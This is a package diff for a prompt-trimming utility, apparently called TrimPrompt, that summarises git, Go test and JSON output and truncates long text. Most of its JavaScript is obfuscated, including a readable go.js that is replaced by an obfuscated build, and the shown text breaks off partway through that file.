_0x3abdc4={'.ts':/^\s*\/\//,'.js':/^\s*\/\//,'.tsx':/^\s*\/\//,'.jsx':/^\s*\/\//,'.py':/^\s*#(?!!)/,'.rb':/^\s*#(?!!)/,'.sh':/^\s*#(?!!)/,'.go':/^\s*\/\//,'.rs':/^\s*\/\//,'.java':/^\s*\/\//,'.c':/^\s*\/\//,'.cpp':/^\s*\/\//,'.cs':/^\s*\/\//,'.swift':/^\s*\/\//,'.kt':/^\s*\/\//,'.yaml':/^\s*#(?!!)/,'.yml':/^\s*#(?!!)/},_0x3c7697=_0x3abdc4[_0x44b634[_0xe04921(0x143)]()];if(!_0x3c7697)return _0xe398a1;const _0x151713=_0x37c319[_0xe04921(0x164)](_0x2b373a=>!_0x3c7697['test'](_0x2b373a));return _0x151713[_0xe04921(0x158)]('\x0a');}function smartCrushJson(_0x3738cd){const _0x451bc0=a0_0xe9078d;try{const _0x510cbe=_0x3738cd[_0x451bc0(0x149)]();if(!_0x510cbe[_0x451bc0(0x13f)]('['))return null;const _0x33aded=JSON['parse'](_0x510cbe);if(!Array[_0x451bc0(0x159)](_0x33aded)||_0x33aded[_0x451bc0(0x165)]<0x3)return null;if(typeof _0x33aded[0x0]!==_0x451bc0(0x152)||_0x33aded[0x0]===null)return null;const _0x286bbf=Object[_0x451bc0(0x14b)](_0x33aded[0x0]);if(_0x286bbf[_0x451bc0(0x165)]===0x0)return null;const _0x565e96=_0x286bbf[_0x451bc0(0x164)](_0x44f334=>{const _0x1f6dcd=_0x451bc0,_0x1e4556=_0x44f334[_0x1f6dcd(0x143)]();return!_0x1e4556[_0x1f6dcd(0x15f)](_0x1f6dcd(0x157))&&!_0x1e4556['includes'](_0x1f6dcd(0x14d))&&!_0x1e4556[_0x1f6dcd(0x15f)](_0x1f6dcd(0x14c))&&!_0x1e4556[_0x1f6dcd(0x15f)](_0x1f6dcd(0x15e))&&!_0x1e4556[_0x1f6dcd(0x15f)](_0x1f6dcd(0x167))&&!_0x1e4556[_0x1f6dcd(0x15f)]('signature')&&!_0x1e4556[_0x1f6dcd(0x15f)](_0x1f6dcd(0x15c))&&_0x1e4556!==_0x1f6dcd(0x144)&&_0x1e4556!=='engines'&&_0x1e4556!=='bugs'&&_0x1e4556!==_0x1f6dcd(0x162);})[_0x451bc0(0x160)](0x0,0x6);if(_0x565e96['length']===0x0)return null;const _0x1a346d=[];_0x1a346d[_0x451bc0(0x155)](_0x565e96['join']('|'));const _0x1d132b=0x1e;for(let _0x4f5792=0x0;_0x4f5792<Math['min'](_0x33aded[_0x451bc0(0x165)],_0x1d132b);_0x4f5792++){const _0x29535d=_0x565e96['map'](_0x1b8f0b=>{const _0x3d22c7=_0x451bc0,_0x558165=_0x33aded[_0x4f5792][_0x1b8f0b];if(_0x558165===null||_0x558165===undefined)return'';if(typeof _0x558165==='object')return JSON[_0x3d22c7(0x14f)](_0x558165)['substring'](0x0,0x28);return String(_0x558165)[_0x3d22c7(0x16a)](0x0,0x3c);});_0x1a346d['push'](_0x29535d[_0x451bc0(0x158)]('|'));}_0x33aded[_0x451bc0(0x165)]>_0x1d132b&&_0x1a346d[_0x451bc0(0x155)]('...\x20+'+(_0x33aded['length']-_0x1d132b)+_0x451bc0(0x156));_0x1a346d[_0x451bc0(0x155)]('\x0a('+_0x33aded[_0x451bc0(0x165)]+_0x451bc0(0x145)+_0x286bbf['length']+_0x451bc0(0x150)+_0x565e96['length']+'\x20key\x20fields)');const _0x2b2fb2=_0x1a346d[_0x451bc0(0x158)]('\x0a');if(_0x2b2fb2[_0x451bc0(0x165)]<_0x510cbe['length'])return _0x2b2fb2;return null;}catch{return null;}}function a0_0x4698(){const _0x10174d=['repository','4wsFdeY','filter','length','7RnFdYF','checksum','stripAnsi','collapseWhitespace','substring','softTruncate','344gfTuuj','collapseDuplicates','startsWith','1119093geXYmV','8919xuIqkc','\x0a\x0a\x0a','toLowerCase','funding','\x20items,\x20','1808901LvPLtF','\x20characters\x20of\x20output]\x20...\x0a','split','trim','\x20[x','keys','sha','integrity','smartCrushJson','stringify','\x20fields,\x20showing\x20','290yDaYIZ','object','stripComments','523902jujken','push','\x20more\x20rows','resolved','join','isArray','2811015OzprVL','617089kZTLrG','dev','__esModule','hash','includes','slice','1997304fpQJjf'];a0_0x4698=function(){return _0x10174d;};return a0_0x4698();}function softTruncate(_0x3ca13c,_0x69b530=0x4e20){const _0x472b0c=a0_0xe9078d;if(_0x3ca13c[_0x472b0c(0x165)]<=_0x69b530)return _0x3ca13c;const _0x3d9c3b=_0x3ca13c[_0x472b0c(0x148)]('\x0a');if(_0x3d9c3b[_0x472b0c(0x165)]<=0xc8)return _0x3ca13c;const _0x107dbe=0x32,_0x11d1ba=0x96,_0x21a5b4=_0x3d9c3b[_0x472b0c(0x160)](0x0,_0x107dbe),_0xfb0355=_0x3d9c3b[_0x472b0c(0x160)](_0x3d9c3b['length']-_0x11d1ba),_0x228986=_0x3ca13c[_0x472b0c(0x165)]-(_0x21a5b4[_0x472b0c(0x158)]('\x0a')[_0x472b0c(0x165)]+_0xfb0355[_0x472b0c(0x158)]('\x0a')[_0x472b0c(0x165)]);return[..._0x21a5b4,'\x0a...\x20[TrimPrompt:\x20Truncated\x20'+_0x228986+_0x472b0c(0x147),..._0xfb0355][_0x472b0c(0x158)]('\x0a');}
package/filters/git.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x2baf71=a0_0x50e5;(function(_0x35a5b1,_0x28b95d){const _0x4ebbc3=a0_0x50e5,_0x1acf57=_0x35a5b1();while(!![]){try{const _0x1ab4ba=parseInt(_0x4ebbc3(0x19e))/0x1+parseInt(_0x4ebbc3(0x19c))/0x2*(-parseInt(_0x4ebbc3(0x196))/0x3)+parseInt(_0x4ebbc3(0x178))/0x4+-parseInt(_0x4ebbc3(0x19a))/0x5*(-parseInt(_0x4ebbc3(0x171))/0x6)+parseInt(_0x4ebbc3(0x185))/0x7*(parseInt(_0x4ebbc3(0x175))/0x8)+-parseInt(_0x4ebbc3(0x18d))/0x9+parseInt(_0x4ebbc3(0x172))/0xa*(parseInt(_0x4ebbc3(0x1a1))/0xb);if(_0x1ab4ba===_0x28b95d)break;else _0x1acf57['push'](_0x1acf57['shift']());}catch(_0x4d3b4b){_0x1acf57['push'](_0x1acf57['shift']());}}}(a0_0x15f1,0xcd95e));var __createBinding=this&&this[a0_0x2baf71(0x188)]||(Object[a0_0x2baf71(0x198)]?function(_0x5e4be3,_0x2283e0,_0x574b70,_0x37be69){const _0x5e71cf=a0_0x2baf71;if(_0x37be69===undefined)_0x37be69=_0x574b70;var _0x4737f9=Object[_0x5e71cf(0x176)](_0x2283e0,_0x574b70);(!_0x4737f9||(_0x5e71cf(0x179)in _0x4737f9?!_0x2283e0[_0x5e71cf(0x195)]:_0x4737f9[_0x5e71cf(0x189)]||_0x4737f9[_0x5e71cf(0x17e)]))&&(_0x4737f9={'enumerable':!![],'get':function(){return _0x2283e0[_0x574b70];}}),Object['defineProperty'](_0x5e4be3,_0x37be69,_0x4737f9);}:function(_0x1ffbf0,_0x1103b7,_0x394adb,_0x48e00b){if(_0x48e00b===undefined)_0x48e00b=_0x394adb;_0x1ffbf0[_0x48e00b]=_0x1103b7[_0x394adb];}),__setModuleDefault=this&&this[a0_0x2baf71(0x18e)]||(Object['create']?function(_0x3c4151,_0x277711){Object['defineProperty'](_0x3c4151,'default',{'enumerable':!![],'value':_0x277711});}:function(_0xdf7bac,_0x42faae){const _0x30a92b=a0_0x2baf71;_0xdf7bac[_0x30a92b(0x18c)]=_0x42faae;}),__importStar=this&&this[a0_0x2baf71(0x183)]||(function(){var _0x269152=function(_0xcd5811){const _0x215bd4=a0_0x50e5;return _0x269152=Object[_0x215bd4(0x177)]||function(_0x501f20){const _0x8e0164=_0x215bd4;var _0x397ce3=[];for(var _0x46bf35 in _0x501f20)if(Object[_0x8e0164(0x16e)][_0x8e0164(0x173)][_0x8e0164(0x187)](_0x501f20,_0x46bf35))_0x397ce3[_0x397ce3['length']]=_0x46bf35;return _0x397ce3;},_0x269152(_0xcd5811);};return function(_0x5c3098){const _0x4f0a88=a0_0x50e5;if(_0x5c3098&&_0x5c3098[_0x4f0a88(0x195)])return _0x5c3098;var _0x3626a7={};if(_0x5c3098!=null){for(var _0x896690=_0x269152(_0x5c3098),_0x475846=0x0;_0x475846<_0x896690[_0x4f0a88(0x191)];_0x475846++)if(_0x896690[_0x475846]!==_0x4f0a88(0x18c))__createBinding(_0x3626a7,_0x5c3098,_0x896690[_0x475846]);}return __setModuleDefault(_0x3626a7,_0x5c3098),_0x3626a7;};}());function a0_0x50e5(_0x3f7f4b,_0x1dbb2c){const _0x15f12b=a0_0x15f1();return a0_0x50e5=function(_0x50e563,_0x589cc5){_0x50e563=_0x50e563-0x16e;let _0x5bf689=_0x15f12b[_0x50e563];return _0x5bf689;},a0_0x50e5(_0x3f7f4b,_0x1dbb2c);}Object[a0_0x2baf71(0x170)](exports,'__esModule',{'value':!![]}),exports[a0_0x2baf71(0x18a)]=filterGitStatus,exports[a0_0x2baf71(0x1a4)]=filterGitLog,exports[a0_0x2baf71(0x1a3)]=filterGitDiff;function a0_0x15f1(){const _0x2d5572=['configurable','*\x20Branch:\x20','map','\x20\x20??\x20','basename','__importStar','---END---','7609bwVOjc','+++','call','__createBinding','writable','filterGitStatus','substring','default','9830763AqVUeS','__setModuleDefault','split','\x0aChanges:','length','match','slice','\x20(+','__esModule','3oBbgRJ','path','create','join','165RLMPhs','Clean\x20working\x20tree','2737346VgsEZM','No\x20modifications','1365252lDuScO','startsWith','\x20\x20...\x20+','77wnVZAV','trim','filterGitDiff','filterGitLog','dirname','diff\x20--git','entries','/\x20(','filter','prototype','push','defineProperty','44220XHXZBC','788420FEioOO','hasOwnProperty','replace','8000DUNVZj','getOwnPropertyDescriptor','getOwnPropertyNames','222808qqbqMb','get','\x20more\x20modifications','\x20\x20...\x20(+','\x20lines\x20of\x20description)','\x20untracked\x20files)'];a0_0x15f1=function(){return _0x2d5572;};return a0_0x15f1();}const path=__importStar(require(a0_0x2baf71(0x197)));function filterGitStatus(_0x2186df){const _0x1efb1f=a0_0x2baf71,_0x74d6ed=_0x2186df[_0x1efb1f(0x18f)]('\x0a')[_0x1efb1f(0x180)](_0x2ba678=>_0x2ba678[_0x1efb1f(0x1a2)]())[_0x1efb1f(0x1a9)](_0x53c192=>_0x53c192[_0x1efb1f(0x191)]>0x0);if(_0x74d6ed[_0x1efb1f(0x191)]===0x0)return _0x1efb1f(0x19b);const _0x438969=[],_0x5d2a7b=[],_0x56de78=[];for(const _0xbfcbbd of _0x74d6ed){if(_0xbfcbbd[_0x1efb1f(0x19f)]('##')){const _0x5aed20=_0xbfcbbd[_0x1efb1f(0x174)](/^##\s*/,'');_0x438969[_0x1efb1f(0x16f)](_0x1efb1f(0x17f)+_0x5aed20);}else _0xbfcbbd[_0x1efb1f(0x19f)]('??')?_0x5d2a7b[_0x1efb1f(0x16f)](_0xbfcbbd[_0x1efb1f(0x18b)](0x3)[_0x1efb1f(0x1a2)]()):_0x56de78[_0x1efb1f(0x16f)](_0xbfcbbd);}_0x56de78[_0x1efb1f(0x191)]>0x0&&(_0x438969['push'](_0x1efb1f(0x190)),_0x438969['push'](..._0x56de78['map'](_0x380843=>'\x20\x20'+_0x380843)));if(_0x5d2a7b[_0x1efb1f(0x191)]>0x0){_0x438969['push']('\x0aUntracked\x20files:');const _0x53cfda={},_0x3daa9d=[];for(const _0x5c2dc5 of _0x5d2a7b){const _0x47df02=path[_0x1efb1f(0x1a5)](_0x5c2dc5);_0x47df02==='.'||_0x47df02===''?_0x3daa9d[_0x1efb1f(0x16f)](_0x5c2dc5):(!_0x53cfda[_0x47df02]&&(_0x53cfda[_0x47df02]=[]),_0x53cfda[_0x47df02][_0x1efb1f(0x16f)](path[_0x1efb1f(0x182)](_0x5c2dc5)));}for(const [_0x2158d3,_0x368d4d]of Object[_0x1efb1f(0x1a7)](_0x53cfda)){if(_0x368d4d[_0x1efb1f(0x191)]>0x5)_0x438969[_0x1efb1f(0x16f)]('\x20\x20??\x20'+_0x2158d3+_0x1efb1f(0x1a8)+_0x368d4d['length']+_0x1efb1f(0x17d));else for(const _0x4d452d of _0x368d4d){_0x438969[_0x1efb1f(0x16f)](_0x1efb1f(0x181)+path[_0x1efb1f(0x199)](_0x2158d3,_0x4d452d));}}for(const _0x1bc3fd of _0x3daa9d){_0x438969[_0x1efb1f(0x16f)](_0x1efb1f(0x181)+_0x1bc3fd);}}return _0x438969[_0x1efb1f(0x199)]('\x0a');}function filterGitLog(_0x41d7ba){const _0x512b70=a0_0x2baf71,_0x44bba5=_0x41d7ba[_0x512b70(0x18f)](_0x512b70(0x184))['map'](_0x4f1a7f=>_0x4f1a7f['trim']())['filter'](_0x233240=>_0x233240[_0x512b70(0x191)]>0x0);if(_0x44bba5['length']===0x0)return _0x41d7ba;const _0x2c3a23=[];for(const _0x50d55c of _0x44bba5){const _0x1a9ad0=_0x50d55c['split']('\x0a'),_0x451cd5=_0x1a9ad0[0x0]||'',_0x16bce0=_0x1a9ad0['slice'](0x1)[_0x512b70(0x180)](_0x37e70e=>_0x37e70e[_0x512b70(0x1a2)]())['filter'](_0x1b0b96=>_0x1b0b96[_0x512b70(0x191)]>0x0);_0x2c3a23[_0x512b70(0x16f)]('-\x20'+_0x451cd5),_0x16bce0['length']>0x0&&(_0x2c3a23['push']('\x20\x20'+_0x16bce0[0x0]),_0x16bce0['length']>0x1&&_0x2c3a23[_0x512b70(0x16f)](_0x512b70(0x17b)+(_0x16bce0[_0x512b70(0x191)]-0x1)+_0x512b70(0x17c)));}return _0x2c3a23['join']('\x0a');}function filterGitDiff(_0x309db6){const _0x77906a=a0_0x2baf71,_0x47e737=_0x309db6[_0x77906a(0x18f)]('\x0a'),_0x7be569=[];let _0x568726='',_0x4e09c9=0x0,_0x86f9c5=0x0,_0x2b2a75=[];const _0x11563a=()=>{const _0x4f05d8=_0x77906a;if(_0x568726&&(_0x4e09c9>0x0||_0x86f9c5>0x0)){_0x7be569[_0x4f05d8(0x16f)]('[file]\x20'+_0x568726+_0x4f05d8(0x194)+_0x4e09c9+'\x20-'+_0x86f9c5+')');const _0x7e5183=0xa,_0x28a28e=_0x2b2a75[_0x4f05d8(0x193)](0x0,_0x7e5183);for(const _0x3b3c35 of _0x28a28e){_0x7be569[_0x4f05d8(0x16f)]('\x20\x20'+_0x3b3c35);}const _0x119136=_0x4e09c9+_0x86f9c5-_0x7e5183;_0x119136>0x0&&_0x7be569[_0x4f05d8(0x16f)](_0x4f05d8(0x1a0)+_0x119136+_0x4f05d8(0x17a));}_0x4e09c9=0x0,_0x86f9c5=0x0,_0x2b2a75=[];};for(const _0x585292 of _0x47e737){if(_0x585292[_0x77906a(0x19f)](_0x77906a(0x1a6))){_0x11563a();const _0x552376=_0x585292[_0x77906a(0x192)](/\sb\/(.+)$/);_0x568726=_0x552376?_0x552376[0x1]:'unknown_file';}else{if(_0x585292[_0x77906a(0x19f)]('+')&&!_0x585292[_0x77906a(0x19f)](_0x77906a(0x186)))_0x4e09c9++,_0x2b2a75[_0x77906a(0x16f)](_0x585292);else _0x585292[_0x77906a(0x19f)]('-')&&!_0x585292['startsWith']('---')&&(_0x86f9c5++,_0x2b2a75['push'](_0x585292));}}_0x11563a();const _0x41f2a5=_0x7be569[_0x77906a(0x199)]('\x0a');return _0x41f2a5['length']>0x0?_0x41f2a5:_0x77906a(0x19d);}
1
+ 'use strict';const a0_0x241c6a=a0_0x2b5d;(function(_0x31963,_0x5b6b50){const _0x5f03ab=a0_0x2b5d,_0x4d1bb6=_0x31963();while(!![]){try{const _0x1cba9c=-parseInt(_0x5f03ab(0x115))/0x1+-parseInt(_0x5f03ab(0x141))/0x2+parseInt(_0x5f03ab(0x137))/0x3+parseInt(_0x5f03ab(0x12e))/0x4+parseInt(_0x5f03ab(0x135))/0x5*(-parseInt(_0x5f03ab(0x113))/0x6)+-parseInt(_0x5f03ab(0x11e))/0x7*(parseInt(_0x5f03ab(0x114))/0x8)+parseInt(_0x5f03ab(0x146))/0x9;if(_0x1cba9c===_0x5b6b50)break;else _0x4d1bb6['push'](_0x4d1bb6['shift']());}catch(_0x5b0ad4){_0x4d1bb6['push'](_0x4d1bb6['shift']());}}}(a0_0x44d6,0xebef1));var __createBinding=this&&this[a0_0x241c6a(0x127)]||(Object['create']?function(_0x5b1b66,_0x3e9d9b,_0x44b84d,_0x265e9f){const _0x582ca9=a0_0x241c6a;if(_0x265e9f===undefined)_0x265e9f=_0x44b84d;var _0x5ed535=Object[_0x582ca9(0x128)](_0x3e9d9b,_0x44b84d);(!_0x5ed535||('get'in _0x5ed535?!_0x3e9d9b[_0x582ca9(0x138)]:_0x5ed535[_0x582ca9(0x136)]||_0x5ed535['configurable']))&&(_0x5ed535={'enumerable':!![],'get':function(){return _0x3e9d9b[_0x44b84d];}}),Object[_0x582ca9(0x12d)](_0x5b1b66,_0x265e9f,_0x5ed535);}:function(_0x22b9b6,_0x10ea8a,_0x5921b9,_0x3583c8){if(_0x3583c8===undefined)_0x3583c8=_0x5921b9;_0x22b9b6[_0x3583c8]=_0x10ea8a[_0x5921b9];}),__setModuleDefault=this&&this[a0_0x241c6a(0x13e)]||(Object[a0_0x241c6a(0x112)]?function(_0x32b59b,_0x3d2ae7){const _0x2da863=a0_0x241c6a;Object['defineProperty'](_0x32b59b,_0x2da863(0x130),{'enumerable':!![],'value':_0x3d2ae7});}:function(_0x5ce488,_0x35607d){const _0x5ba6af=a0_0x241c6a;_0x5ce488[_0x5ba6af(0x130)]=_0x35607d;}),__importStar=this&&this[a0_0x241c6a(0x11c)]||(function(){var _0x59a3cf=function(_0x246bbc){const _0x1b8173=a0_0x2b5d;return _0x59a3cf=Object[_0x1b8173(0x144)]||function(_0x407c25){const _0xe005e0=_0x1b8173;var _0x493a08=[];for(var _0xf14c55 in _0x407c25)if(Object[_0xe005e0(0x121)][_0xe005e0(0x111)][_0xe005e0(0x12f)](_0x407c25,_0xf14c55))_0x493a08[_0x493a08[_0xe005e0(0x11f)]]=_0xf14c55;return _0x493a08;},_0x59a3cf(_0x246bbc);};return function(_0x34b68f){const _0x4ffae7=a0_0x2b5d;if(_0x34b68f&&_0x34b68f[_0x4ffae7(0x138)])return _0x34b68f;var _0x317ba8={};if(_0x34b68f!=null){for(var _0x1db795=_0x59a3cf(_0x34b68f),_0x1833d5=0x0;_0x1833d5<_0x1db795[_0x4ffae7(0x11f)];_0x1833d5++)if(_0x1db795[_0x1833d5]!=='default')__createBinding(_0x317ba8,_0x34b68f,_0x1db795[_0x1833d5]);}return __setModuleDefault(_0x317ba8,_0x34b68f),_0x317ba8;};}());Object[a0_0x241c6a(0x12d)](exports,a0_0x241c6a(0x138),{'value':!![]}),exports[a0_0x241c6a(0x120)]=filterGitStatus,exports[a0_0x241c6a(0x11b)]=filterGitLog,exports[a0_0x241c6a(0x124)]=filterGitDiff;const path=__importStar(require(a0_0x241c6a(0x147)));function filterGitStatus(_0xbca27b){const _0x10f4ee=a0_0x241c6a,_0x105245=_0xbca27b[_0x10f4ee(0x118)]('\x0a')[_0x10f4ee(0x126)](_0x535854=>_0x535854[_0x10f4ee(0x11d)]())[_0x10f4ee(0x140)](_0x4ec9e1=>_0x4ec9e1[_0x10f4ee(0x11f)]>0x0);if(_0x105245['length']===0x0)return _0x10f4ee(0x145);const _0x2d94e6=[],_0x499f88=[],_0x5d9938=[];for(const _0x43a9de of _0x105245){if(_0x43a9de[_0x10f4ee(0x119)]('##')){const _0x583c5a=_0x43a9de[_0x10f4ee(0x13d)](/^##\s*/,'');_0x2d94e6[_0x10f4ee(0x11a)](_0x10f4ee(0x116)+_0x583c5a);}else _0x43a9de[_0x10f4ee(0x119)]('??')?_0x499f88[_0x10f4ee(0x11a)](_0x43a9de[_0x10f4ee(0x142)](0x3)['trim']()):_0x5d9938[_0x10f4ee(0x11a)](_0x43a9de);}_0x5d9938['length']>0x0&&(_0x2d94e6['push'](_0x10f4ee(0x13b)),_0x2d94e6[_0x10f4ee(0x11a)](..._0x5d9938[_0x10f4ee(0x126)](_0xf0eb0c=>'\x20\x20'+_0xf0eb0c)));if(_0x499f88['length']>0x0){_0x2d94e6[_0x10f4ee(0x11a)](_0x10f4ee(0x12a));const _0x1d7e52={},_0x22fd72=[];for(const _0x327155 of _0x499f88){const _0x4d0d42=path[_0x10f4ee(0x13f)](_0x327155);_0x4d0d42==='.'||_0x4d0d42===''?_0x22fd72['push'](_0x327155):(!_0x1d7e52[_0x4d0d42]&&(_0x1d7e52[_0x4d0d42]=[]),_0x1d7e52[_0x4d0d42]['push'](path['basename'](_0x327155)));}for(const [_0x4438b2,_0x3a8271]of Object[_0x10f4ee(0x117)](_0x1d7e52)){if(_0x3a8271['length']>0x5)_0x2d94e6['push'](_0x10f4ee(0x134)+_0x4438b2+'/\x20('+_0x3a8271[_0x10f4ee(0x11f)]+_0x10f4ee(0x132));else for(const _0xdd1add of _0x3a8271){_0x2d94e6[_0x10f4ee(0x11a)](_0x10f4ee(0x134)+path[_0x10f4ee(0x12c)](_0x4438b2,_0xdd1add));}}for(const _0x5d91c1 of _0x22fd72){_0x2d94e6[_0x10f4ee(0x11a)](_0x10f4ee(0x134)+_0x5d91c1);}}return _0x2d94e6['join']('\x0a');}function filterGitLog(_0x2b4feb){const _0x706407=a0_0x241c6a,_0x24433e=_0x2b4feb['split']('---END---')['map'](_0xbbd7df=>_0xbbd7df[_0x706407(0x11d)]())['filter'](_0x19787f=>_0x19787f[_0x706407(0x11f)]>0x0);if(_0x24433e[_0x706407(0x11f)]===0x0)return _0x2b4feb;const _0x4d664d=[];for(const _0x54a5a5 of _0x24433e){const _0x1c3ee7=_0x54a5a5[_0x706407(0x118)]('\x0a'),_0x418379=_0x1c3ee7[0x0]||'',_0x13976e=_0x1c3ee7[_0x706407(0x123)](0x1)[_0x706407(0x126)](_0x2efd01=>_0x2efd01[_0x706407(0x11d)]())[_0x706407(0x140)](_0x41ae13=>_0x41ae13[_0x706407(0x11f)]>0x0);_0x4d664d[_0x706407(0x11a)]('-\x20'+_0x418379),_0x13976e[_0x706407(0x11f)]>0x0&&(_0x4d664d['push']('\x20\x20'+_0x13976e[0x0]),_0x13976e[_0x706407(0x11f)]>0x1&&_0x4d664d['push'](_0x706407(0x13c)+(_0x13976e['length']-0x1)+_0x706407(0x13a)));}return _0x4d664d[_0x706407(0x12c)]('\x0a');}function a0_0x2b5d(_0x259add,_0x57c515){const _0x44d66d=a0_0x44d6();return a0_0x2b5d=function(_0x2b5d97,_0x3cc1d2){_0x2b5d97=_0x2b5d97-0x111;let _0x6cc5ac=_0x44d66d[_0x2b5d97];return _0x6cc5ac;},a0_0x2b5d(_0x259add,_0x57c515);}function a0_0x44d6(){const _0x1f78d8=['replace','__setModuleDefault','dirname','filter','3367668ItgMrQ','substring','No\x20modifications','getOwnPropertyNames','Clean\x20working\x20tree','49394853OFkAfl','path','hasOwnProperty','create','5560254nLTJtA','16ydCCFg','1105063jUSTgP','*\x20Branch:\x20','entries','split','startsWith','push','filterGitLog','__importStar','trim','5279323IkpyHk','length','filterGitStatus','prototype','+++','slice','filterGitDiff','diff\x20--git','map','__createBinding','getOwnPropertyDescriptor','unknown_file','\x0aUntracked\x20files:','[file]\x20','join','defineProperty','301048NonJSd','call','default','\x20more\x20modifications','\x20untracked\x20files)','match','\x20\x20??\x20','5dAnEFd','writable','1880370UqunDg','__esModule','---','\x20lines\x20of\x20description)','\x0aChanges:','\x20\x20...\x20(+'];a0_0x44d6=function(){return _0x1f78d8;};return a0_0x44d6();}function filterGitDiff(_0x348fd0){const _0x4ddc41=a0_0x241c6a,_0x27249c=_0x348fd0['split']('\x0a'),_0x162b0f=[];let _0x2d572d='',_0x53d809=0x0,_0x32cac7=0x0,_0x105f0e=[];const _0xb8eb2c=()=>{const _0x9fc504=a0_0x2b5d;if(_0x2d572d&&(_0x53d809>0x0||_0x32cac7>0x0)){_0x162b0f[_0x9fc504(0x11a)](_0x9fc504(0x12b)+_0x2d572d+'\x20(+'+_0x53d809+'\x20-'+_0x32cac7+')');const _0x26f90a=0xa,_0x5c2520=_0x105f0e[_0x9fc504(0x123)](0x0,_0x26f90a);for(const _0x23cfdb of _0x5c2520){_0x162b0f[_0x9fc504(0x11a)]('\x20\x20'+_0x23cfdb);}const _0x36a0ad=_0x53d809+_0x32cac7-_0x26f90a;_0x36a0ad>0x0&&_0x162b0f[_0x9fc504(0x11a)]('\x20\x20...\x20+'+_0x36a0ad+_0x9fc504(0x131));}_0x53d809=0x0,_0x32cac7=0x0,_0x105f0e=[];};for(const _0x25befe of _0x27249c){if(_0x25befe[_0x4ddc41(0x119)](_0x4ddc41(0x125))){_0xb8eb2c();const _0x17e2ca=_0x25befe[_0x4ddc41(0x133)](/\sb\/(.+)$/);_0x2d572d=_0x17e2ca?_0x17e2ca[0x1]:_0x4ddc41(0x129);}else{if(_0x25befe['startsWith']('+')&&!_0x25befe[_0x4ddc41(0x119)](_0x4ddc41(0x122)))_0x53d809++,_0x105f0e[_0x4ddc41(0x11a)](_0x25befe);else _0x25befe[_0x4ddc41(0x119)]('-')&&!_0x25befe[_0x4ddc41(0x119)](_0x4ddc41(0x139))&&(_0x32cac7++,_0x105f0e[_0x4ddc41(0x11a)](_0x25befe));}}_0xb8eb2c();const _0x170d78=_0x162b0f[_0x4ddc41(0x12c)]('\x0a');return _0x170d78[_0x4ddc41(0x11f)]>0x0?_0x170d78:_0x4ddc41(0x143);}
package/filters/go.js CHANGED
@@ -1,99 +1 @@
1
- "use strict";
2
- Object.defineProperty(exports, "__esModule", { value: true });
3
- exports.filterGoTest = filterGoTest;
4
- exports.filterGoVet = filterGoVet;
5
- function filterGoTest(stdout) {
6
- const lines = stdout.split('\n');
7
- let totalPassed = 0;
8
- let totalFailed = 0;
9
- let totalSkipped = 0;
10
- const failedTests = [];
11
- const packageResults = [];
12
- let currentFail = null;
13
- for (const line of lines) {
14
- const trimmed = line.trim();
15
- const okMatch = trimmed.match(/^ok\s+\S+\s+[\d.]+s/);
16
- if (okMatch) {
17
- packageResults.push(trimmed);
18
- continue;
19
- }
20
- const failMatch = trimmed.match(/^FAIL\s+\S+/);
21
- if (failMatch) {
22
- packageResults.push(trimmed);
23
- continue;
24
- }
25
- const passMatch = trimmed.match(/^--- PASS:/);
26
- if (passMatch) {
27
- totalPassed++;
28
- continue;
29
- }
30
- const failTestMatch = trimmed.match(/^--- FAIL:\s+(\S+)/);
31
- if (failTestMatch) {
32
- if (currentFail)
33
- failedTests.push(currentFail);
34
- currentFail = { name: failTestMatch[1], lines: [] };
35
- totalFailed++;
36
- continue;
37
- }
38
- if (trimmed.startsWith('--- SKIP:')) {
39
- totalSkipped++;
40
- continue;
41
- }
42
- if (currentFail && trimmed.length > 0 && !trimmed.startsWith('=== RUN')) {
43
- currentFail.lines.push(line);
44
- }
45
- if (trimmed.startsWith('=== RUN')) {
46
- if (currentFail) {
47
- failedTests.push(currentFail);
48
- currentFail = null;
49
- }
50
- }
51
- }
52
- if (currentFail)
53
- failedTests.push(currentFail);
54
- if (totalPassed === 0 && totalFailed === 0 && totalSkipped === 0) {
55
- if (stdout.includes('PASS') && !stdout.includes('FAIL'))
56
- return "Go test: all tests passed";
57
- if (stdout.includes('no test files'))
58
- return "Go test: no test files";
59
- return stdout;
60
- }
61
- if (totalFailed === 0) {
62
- const parts = [`Go test: ${totalPassed} passed`];
63
- if (totalSkipped > 0)
64
- parts.push(`${totalSkipped} skipped`);
65
- return parts.join(', ');
66
- }
67
- const result = [`Go test: ${totalPassed} passed, ${totalFailed} failed, ${totalSkipped} skipped`];
68
- if (failedTests.length > 0) {
69
- result.push("\nFailures:");
70
- const limit = 3;
71
- for (let i = 0; i < Math.min(failedTests.length, limit); i++) {
72
- const ft = failedTests[i];
73
- result.push(` ${i + 1}. ${ft.name}`);
74
- for (const l of ft.lines.slice(0, 5)) {
75
- result.push(` ${l.trim()}`);
76
- }
77
- if (ft.lines.length > 5) {
78
- result.push(` ... +${ft.lines.length - 5} more lines`);
79
- }
80
- }
81
- if (failedTests.length > limit) {
82
- result.push(` ... +${failedTests.length - limit} more failures`);
83
- }
84
- }
85
- return result.join('\n');
86
- }
87
- function filterGoVet(stdout) {
88
- const lines = stdout.split('\n').filter(l => l.trim().length > 0);
89
- if (lines.length === 0)
90
- return "Go vet: no issues found";
91
- if (lines.length <= 20)
92
- return stdout.trim();
93
- const result = [`Go vet: ${lines.length} issues found`];
94
- result.push(...lines.slice(0, 10));
95
- if (lines.length > 10) {
96
- result.push(`... +${lines.length - 10} more issues`);
97
- }
98
- return result.join('\n');
99
- }
1
+ 'use strict';function a0_0x2646(_0x68713b,_0x554f5a){const _0x159b5d=a0_0x159b();return a0_0x2646=function(_0x264695,_0x42daf3){_0x264695=_0x264695-0xe2;let _0x36e84e=_0x159b5d[_0x264695];return _0x36e84e;},a0_0x2646(_0x68713b,_0x554f5a);}const a0_0x3bfefe=a0_0x2646;(function(_0x3b9928,_0x6b8c82){const _0x4e5e44=a0_0x2646,_0x641185=_0x3b9928();while(!![]){try{const _0xd0d688=-parseInt(_0x4e5e44(0xe5))/0x1+parseInt(_0x4e5e44(0xee))/0x2+parseInt(_0x4e5e44(0x109))/0x3+-parseInt(_0x4e5e44(0xe7))/0x4*(parseInt(_0x4e5e44(0x10a))/0x5)+-parseInt(_0x4e5e44(0xf2))/0x6*(-parseInt(_0x4e5e44(0xec))/0x7)+-parseInt(_0x4e5e44(0xfc))/0x8+parseInt(_0x4e5e44(0xf7))/0x9;if(_0xd0d688===_0x6b8c82)break;else 